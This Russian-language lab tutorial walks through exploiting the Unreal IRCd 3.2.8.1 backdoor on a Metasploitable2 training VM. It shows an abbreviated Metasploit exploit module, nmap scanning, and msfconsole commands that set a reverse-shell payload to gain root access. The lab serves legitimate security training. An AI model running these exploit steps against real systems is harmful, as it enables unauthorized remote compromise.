Эксплуатация уязвимости Unreal IRCd с помощью Nmap и Metasploit

КибербезопасностьBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе мы научимся эксплуатировать службу Unreal IRCd на целевой машине Metasploitable2, размещенной на платформе LabEx. Мы начнем с изучения природы уязвимости в службе Unreal IRCd, а затем проведем сканирование уязвимостей с помощью Nmap. После обнаружения уязвимой службы мы воспользуемся фреймворком Metasploit для эксплуатации и получения удаленной оболочки (shell) на целевой машине. В завершение мы подтвердим успешность атаки, выполнив команды в скомпрометированной системе.

Понимание уязвимости Unreal IRCd и запуск среды эксперимента

Версия Unreal IRCd 3.2.8.1 содержит уязвимость типа «бэкдор» (CVE-2010-2075), которая позволяет удаленным злоумышленникам выполнять произвольный код в целевой системе. Уязвимость кроется в макросе DEBUG3_DOLOG_SYSTEM, который включает внешний вредоносный код, доступный для использования атакующим.

Полезная информация:

Модуль Metasploit для эксплуатации этой уязвимости:

Краткий обзор модуля Metasploit:

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      ## ... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Теперь запустим машину атакующего (контейнер Kali Linux) и целевую машину (виртуальная машина Metasploitable2) для проведения эксперимента.

  1. Откройте терминал xfce на хост-машине LabEx и запустите цель Metasploitable2, выполнив следующую команду:
sudo virsh start Metasploitable2

Дождитесь запуска целевой машины, это может занять 1-3 минуты.

  1. Проверьте соединение с целевой машиной с помощью ping:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить ping.

  1. Запустите контейнер Kali Linux и войдите в среду bash, выполнив:
docker run -ti --network host b5b709a49cd5 bash
  1. Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить ping.

Теперь обе машины запущены, и вы можете приступить к тестированию на проникновение.

Примечание: Если вы случайно выйдете из текущего bash, контейнер Kali автоматически остановится. Вы можете снова выполнить docker run -ti --network host b5b709a49cd5 bash на хосте, чтобы запустить новый контейнер Kali и продолжить эксперимент.

Сканирование на наличие уязвимостей

На этом этапе мы проведем сканирование целевой машины, чтобы определить открытые порты и запущенные на них службы. Для этого мы будем использовать мощный инструмент Nmap (Network Mapper).

  1. Запустите консоль Metasploit в контейнере Kali Linux:
cd ~
msfconsole
  1. Внутри консоли Metasploit используйте команду nmap для сканирования целевой машины:
nmap -sV -T4 192.168.122.102

Опция -sV включает определение версий для открытых портов, а -T4 устанавливает агрессивный уровень тайминга (от 1 до 5, чем выше, тем быстрее).

В выводе должен отобразиться открытый порт 6667, на котором работает служба unreal ircd.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, затем начните проверку

Эксплуатация уязвимости Unreal IRCd

Теперь, когда мы обнаружили уязвимую службу Unreal IRCd, работающую на порту 6667, мы можем приступить к ее эксплуатации с помощью фреймворка Metasploit.

  1. Прежде всего, если вы не находитесь в консоли Metasploit, запустите ее:
cd ~
msfconsole
  1. В консоли Metasploit найдите модуль unreal_ircd_3281_backdoor:
search unreal_ircd_3281_backdoor
  1. Загрузите модуль:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Укажите целевой хост:
set RHOST 192.168.122.102
  1. Установите полезную нагрузку (payload) для обратной оболочки (reverse shell):
set PAYLOAD cmd/unix/reverse
  1. Укажите IP-адрес хоста Kali, который будет принимать обратное соединение:
set LHOST 192.168.122.1
  1. Запустите эксплойт:
exploit

Если эксплуатация прошла успешно, вы получите удаленную оболочку на целевой машине. Если Metasploit сообщит об открытии сессии командной оболочки, вы можете продолжить выполнение проверочных команд.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, затем начните проверку

Проверка результатов эксплуатации

Чтобы убедиться, что эксплуатация прошла успешно, мы можем выполнить команды в удаленной оболочке, полученной на предыдущем этапе.

  1. Прежде всего, если вы не находитесь в консоли Metasploit, запустите ее:
cd ~
msfconsole
  1. Проверьте текущего пользователя с помощью команды whoami:
whoami
  1. Проверьте имя хоста с помощью команды hostname:
hostname
  1. Проверьте IP-адрес с помощью команды ifconfig:
ifconfig

Если в выводе указан пользователь root, имя хоста metasploitable, а IP-адрес совпадает с целевой машиной (192.168.122.102), это подтверждает успешность эксплуатации и получение полного контроля над целевой системой.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, затем начните проверку

Резюме

В этой лабораторной работе мы изучили уязвимость Unreal IRCd и способы ее эксплуатации с помощью фреймворка Metasploit. Мы начали с понимания сути уязвимости и ее последствий, затем провели сканирование для обнаружения уязвимой службы. Обнаружив службу Unreal IRCd на порту 6667, мы использовали соответствующий модуль Metasploit для получения удаленного доступа к целевой машине. В завершение мы подтвердили успех атаки, выполнив команды в скомпрометированной системе. Эта работа дала практический опыт анализа уязвимостей, методов эксплуатации и проверки результатов, что является необходимым навыком для этичных хакеров и специалистов по кибербезопасности.